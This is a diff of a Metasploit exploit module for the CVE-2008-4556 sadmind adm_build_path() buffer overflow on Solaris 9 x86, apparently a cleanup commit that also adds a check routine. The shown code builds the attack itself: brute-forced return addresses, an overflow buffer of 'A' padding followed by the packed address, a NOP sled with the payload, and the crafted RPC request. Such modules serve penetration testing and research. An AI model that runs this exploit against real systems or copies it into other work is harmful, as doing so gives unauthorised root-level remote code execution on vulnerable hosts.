@@ -10,89 +10,99 @@ class MetasploitModule < Msf::Exploit::Remote
1010 include Msf ::Exploit ::Brute
1111
1212 def initialize ( info = { } )
13- super ( update_info ( info ,
14- 'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow' ,
15- 'Description' => %q{
13+ super (
14+ update_info (
15+ info ,
16+ 'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow' ,
17+ 'Description' => %q{
1618 This module exploits a buffer overflow vulnerability in adm_build_path()
17- function of sadmind daemon.
18-
19- The distributed system administration daemon (sadmind) is the daemon used by
20- Solstice AdminSuite applications to perform distributed system administration
21- operations.
22-
23- The sadmind daemon is started automatically by the inetd daemon whenever a
24- request to invoke an operation is received. The sadmind daemon process
25- continues to run for 15 minutes after the last request is completed, unless a
26- different idle-time is specified with the -i command line option. The sadmind
27- daemon may be started independently from the command line, for example, at
28- system boot time. In this case, the -i option has no effect; sadmind continues
29- to run, even if there are no active requests.
30- } ,
31- 'Author' =>
32- [
19+ function of Sun Solstice AdminSuite sadmind daemon.
20+
21+ The distributed system administration daemon (sadmind) is the daemon used by
22+ Solstice AdminSuite applications to perform distributed system administration
23+ operations.
24+
25+ The sadmind daemon is started automatically by the inetd daemon whenever a
26+ request to invoke an operation is received. The sadmind daemon process
27+ continues to run for 15 minutes after the last request is completed, unless a
28+ different idle-time is specified with the -i command line option. The sadmind
29+ daemon may be started independently from the command line, for example, at
30+ system boot time. In this case, the -i option has no effect; sadmind continues
31+ to run, even if there are no active requests.
32+ } ,
33+ 'Author' => [
3334 'Ramon de C Valle' ,
3435 'Adriano Lima <adriano[at]risesecurity.org>' ,
3536 ] ,
36- 'Arch' => ARCH_X86 ,
37- 'Platform' => 'solaris' ,
38- 'References' =>
39- [
37+ 'Arch' => ARCH_X86 ,
38+ 'Platform' => 'solaris' ,
39+ 'References' => [
4040 [ 'CVE' , '2008-4556' ] ,
4141 [ 'OSVDB' , '49111' ] ,
42- [ 'URL' , 'http ://risesecurity.org/advisories/RISE-2008001.txt' ] ,
42+ [ 'URL' , 'https://web.archive.org/web/20081201000000*/https ://risesecurity.org/advisories/RISE-2008001.txt' ] ,
4343 ] ,
44- 'Privileged' => true ,
45- 'License' => MSF_LICENSE ,
46- 'Payload' =>
47- {
44+ 'Privileged' => true ,
45+ 'License' => MSF_LICENSE ,
46+ 'Payload' => {
4847 'Space' => 1024 ,
49- 'BadChars' => "\x00 " ,
48+ 'BadChars' => "\x00 "
5049 } ,
51- 'Targets' =>
52- [
50+ 'Targets' => [
5351 [
5452 'Sun Solaris 9 x86 Brute Force' ,
5553 {
56- 'Arch' => [ ARCH_X86 ] ,
57- 'Platform' => 'solaris' ,
58- 'Nops' => 1024 * 32 ,
54+ 'Arch' => [ ARCH_X86 ] ,
55+ 'Platform' => 'solaris' ,
56+ 'Nops' => 1024 * 32 ,
5957 'Bruteforce' =>
6058 {
6159 'Start' => { 'Ret' => 0x08062030 } ,
62- 'Stop' => { 'Ret' => 0x08072030 } ,
63- 'Step' => 1024 * 30 ,
60+ 'Stop' => { 'Ret' => 0x08072030 } ,
61+ 'Step' => 1024 * 30
6462 }
6563 }
6664 ] ,
6765 [
6866 'Sun Solaris 9 x86' ,
6967 {
70- 'Nops' => 1024 * 4 ,
68+ 'Nops' => 1024 * 4 ,
7169 'Bruteforce' =>
7270 {
7371 'Start' => { 'Ret' => 0x08066a60 + 2048 } ,
74- 'Stop' => { 'Ret' => 0x08066a60 + 2048 } ,
75- 'Step' => 1 ,
72+ 'Stop' => { 'Ret' => 0x08066a60 + 2048 } ,
73+ 'Step' => 1
7674 }
7775 }
7876 ] ,
7977 [
8078 'Debug' ,
8179 {
82- 'Nops' => 1024 * 4 ,
80+ 'Nops' => 1024 * 4 ,
8381 'Bruteforce' =>
8482 {
8583 'Start' => { 'Ret' => 0xaabbccdd } ,
86- 'Stop' => { 'Ret' => 0xaabbccdd } ,
87- 'Step' => 1 ,
84+ 'Stop' => { 'Ret' => 0xaabbccdd } ,
85+ 'Step' => 1
8886 }
8987 }
9088 ] ,
9189 ] ,
92- 'DefaultTarget' => 0 ,
93- 'DisclosureDate' => '2008-10-14'
94- ) )
90+ 'DefaultTarget' => 0 ,
91+ 'DisclosureDate' => '2008-10-14' ,
92+ 'Notes' => {
93+ 'Stability' => [ CRASH_SERVICE_RESTARTS ] ,
94+ 'Reliability' => [ REPEATABLE_SESSION ] ,
95+ 'SideEffects' => [ IOC_IN_LOGS ]
96+ }
97+ )
98+ )
99+ end
95100
101+ def check
102+ port = sunrpc_create ( 'udp' , 100232 , 10 )
103+ port . nil? ? CheckCode ::Safe : CheckCode ::Detected
104+ ensure
105+ sunrpc_destroy unless rpcobj . nil?
96106 end
97107
98108 def brute_exploit ( brute_target )
@@ -112,19 +122,20 @@ def brute_exploit(brute_target)
112122 end
113123 end
114124
115- print_status ( " Trying to exploit sadmind with address 0x%.8x..." % brute_target [ 'Ret' ] )
125+ print_status ( ' Trying to exploit sadmind with address 0x%.8x...' % brute_target [ 'Ret' ] )
116126
117127 hostname = 'localhost'
118128
119129 # buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')
120- buf1 = "A" * 1017 + [ brute_target [ 'Ret' ] ] . pack ( 'L' )
130+ buf1 = 'A' * 1017 + [ brute_target [ 'Ret' ] ] . pack ( 'L' )
121131 buf2 = @nops + payload . encoded
122132
123- header =
124- Rex ::Encoder ::XDR . encode ( 0 ) * 7 +
125- Rex ::Encoder ::XDR . encode ( 6 , 0 , 0 , 0 , 4 , 0 , 4 , 0x7f000001 , 100232 , 10 ,
126- 4 , 0x7f000001 , 100232 , 10 , 17 , 30 , 0 , 0 , 0 , 0 ,
127- hostname , 'system' , rand_text_alpha ( 16 ) )
133+ header = Rex ::Encoder ::XDR . encode ( 0 ) * 7
134+ header << Rex ::Encoder ::XDR . encode (
135+ 6 , 0 , 0 , 0 , 4 , 0 , 4 , 0x7f000001 , 100232 , 10 ,
136+ 4 , 0x7f000001 , 100232 , 10 , 17 , 30 , 0 , 0 , 0 , 0 ,
137+ hostname , 'system' , rand_text_alpha ( 16 )
138+ )
128139
129140 body =
130141 do_int ( 'ADM_FW_VERSION' , 1 ) +
@@ -151,9 +162,8 @@ def brute_exploit(brute_target)
151162 rescue Rex ::Proto ::SunRPC ::RPCError => e
152163 print_error ( e . to_s )
153164 end
154-
155- sunrpc_destroy
156- handler
165+ ensure
166+ sunrpc_destroy unless rpcobj . nil?
157167 end
158168
159169 def do_string ( str1 , str2 )
0 commit comments